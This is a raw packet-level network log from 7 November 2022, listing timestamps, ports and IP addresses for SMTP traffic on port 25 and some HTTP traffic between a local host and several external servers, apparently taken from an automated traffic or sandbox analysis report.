Nov 7, 2022 22:24:52.252724886 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.252741098 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.252748013 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.252768040 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.252790928 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.252826929 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.252849102 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.252871037 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.252873898 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.252893925 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.252898932 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.252914906 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.252916098 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.252938032 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.252942085 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.252959013 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.252960920 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.252983093 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.252984047 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.253006935 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.253026009 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.271085978 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:52.284380913 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:52.284426928 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.284502029 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.284512997 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.284547091 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.284564972 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.284588099 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.284600019 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.284630060 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.284638882 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.284672022 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.284709930 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.284738064 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.284754992 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.284765005 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.284794092 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.284852028 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.284934044 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.284965992 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.284981966 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.284985065 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.285020113 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.285032034 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.285078049 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.285098076 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.285115957 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.285126925 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.285135984 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.285141945 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.285152912 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.285165071 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.285166025 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.285180092 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.285295010 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.285330057 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.285352945 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.285371065 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.285389900 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.285407066 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.285424948 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.285423994 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.285423994 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.285440922 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.285463095 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.285473108 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.285480022 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.285497904 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.285516977 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.285530090 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.285530090 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.285535097 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.285552979 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.285572052 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.285573006 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.285573006 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.285573959 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.285588980 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.285608053 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.285624027 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.285624027 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.285628080 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.285624027 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.285645962 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.285664082 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.285674095 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.285684109 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.285711050 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.285722971 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.285722971 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.285737038 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.285758972 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.285764933 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.285764933 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.285794973 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.285820961 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.285832882 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.285847902 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.285860062 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.285866976 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.285886049 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.285887957 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.285909891 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.285912991 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.285933971 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.285953999 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.285972118 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.285990000 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.286007881 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.286025047 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.286045074 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.286062956 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.286081076 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.286098957 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.286115885 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.286134958 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.286153078 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.286173105 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.286190033 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.286207914 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.286226988 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.286245108 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.286262989 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.286279917 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.286297083 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.286314964 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.286333084 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.286820889 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.317408085 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.317462921 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.317516088 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.317545891 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.317583084 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.317614079 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.317642927 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.317668915 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.317820072 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.317848921 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.317877054 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.318398952 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.318425894 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.318454027 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.318480968 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.318509102 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.318536997 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.318564892 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.318583965 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.318617105 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.318643093 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.318669081 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.318696022 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.318722010 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.318747997 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.318773985 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.318800926 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.318820000 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.318852901 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.319188118 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.319216013 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.319243908 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.319263935 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.319293976 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.319328070 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.319354057 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.319380999 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.319408894 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.319427967 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.319461107 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.319490910 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.319516897 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.319544077 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.319574118 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.319602966 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.319622993 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.319636106 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.319669008 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.319694996 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.319756985 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.319787025 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.319814920 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.319840908 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.319868088 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.319895029 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.319921970 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.319948912 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.319977045 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.320003986 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.320031881 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.320058107 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.320085049 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.320111990 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.320138931 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.320164919 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.320189953 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.320241928 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.320267916 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.320295095 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.320321083 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.320346117 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.320378065 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.320404053 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.320434093 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.320461988 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.320487022 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.320513010 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.320538998 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.320569038 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.320595980 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.320622921 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.320657969 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.320684910 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.320712090 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.320738077 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.320763111 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.320789099 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.320816040 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.320842028 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.320883036 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.320924997 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.320960999 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.320996046 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.321032047 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.321067095 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.321103096 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.321141005 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.321176052 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.321213961 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.321249962 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.321283102 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.321321964 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.321356058 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.321393967 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.321428061 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.330595016 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.348237038 CET	49835	25	192.168.2.5	104.47.55.138
Nov 7, 2022 22:24:52.362257004 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.378344059 CET	80	49847	199.59.243.222	192.168.2.5
Nov 7, 2022 22:24:52.378372908 CET	80	49847	199.59.243.222	192.168.2.5
Nov 7, 2022 22:24:52.378387928 CET	80	49847	199.59.243.222	192.168.2.5
Nov 7, 2022 22:24:52.378477097 CET	49847	80	192.168.2.5	199.59.243.222
Nov 7, 2022 22:24:52.385746956 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.385890961 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.393416882 CET	25	49839	209.51.188.92	192.168.2.5
Nov 7, 2022 22:24:52.393464088 CET	25	49840	209.51.188.92	192.168.2.5
Nov 7, 2022 22:24:52.393488884 CET	80	49847	199.59.243.222	192.168.2.5
Nov 7, 2022 22:24:52.393589973 CET	49847	80	192.168.2.5	199.59.243.222
Nov 7, 2022 22:24:52.412995100 CET	49839	25	192.168.2.5	209.51.188.92
Nov 7, 2022 22:24:52.413016081 CET	49840	25	192.168.2.5	209.51.188.92
Nov 7, 2022 22:24:52.413817883 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:52.422929049 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.425538063 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.425674915 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.434560061 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.474955082 CET	49845	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:52.504645109 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.505723953 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.505949974 CET	49845	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:52.518373966 CET	49845	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:52.558490992 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.563097954 CET	49845	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:52.592926979 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.598325968 CET	25	49839	209.51.188.92	192.168.2.5
Nov 7, 2022 22:24:52.598378897 CET	25	49840	209.51.188.92	192.168.2.5
Nov 7, 2022 22:24:52.602469921 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:52.604998112 CET	49845	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:52.605882883 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:52.632203102 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.632323980 CET	49845	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:52.660147905 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:52.660316944 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:52.664026022 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.715670109 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:52.730649948 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:52.730725050 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:52.730767012 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:52.730808020 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:52.730855942 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:52.730870008 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:52.730855942 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:52.730967045 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:52.731017113 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:52.731018066 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:52.731024981 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:52.731084108 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:52.731092930 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:52.731143951 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:52.731199026 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:52.731221914 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:52.731818914 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:52.764915943 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:52.776061058 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:52.778316975 CET	49845	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:52.805839062 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.806009054 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.806067944 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.806091070 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.806116104 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.806212902 CET	49845	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:52.806212902 CET	49845	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:52.806287050 CET	49845	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:52.806425095 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.806452990 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.806469917 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.806523085 CET	49845	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:52.806608915 CET	49845	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:52.806608915 CET	49845	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:52.806899071 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.831029892 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:52.833055973 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.833096027 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.833113909 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.833131075 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.833146095 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.833158970 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.833167076 CET	49845	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:52.833204031 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.833220005 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.833239079 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.833255053 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.833271980 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.833283901 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.833295107 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.833312988 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.833326101 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.833349943 CET	49845	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:52.833349943 CET	49845	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:52.833431005 CET	49845	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:52.833431005 CET	49845	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:52.833431005 CET	49845	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:52.833456039 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.833467007 CET	49845	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:52.833467007 CET	49845	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:52.833467007 CET	49845	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:52.833581924 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.833612919 CET	49845	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:52.833633900 CET	49845	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:52.833684921 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.833775043 CET	49845	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:52.833975077 CET	25	49848	142.250.150.27	192.168.2.5
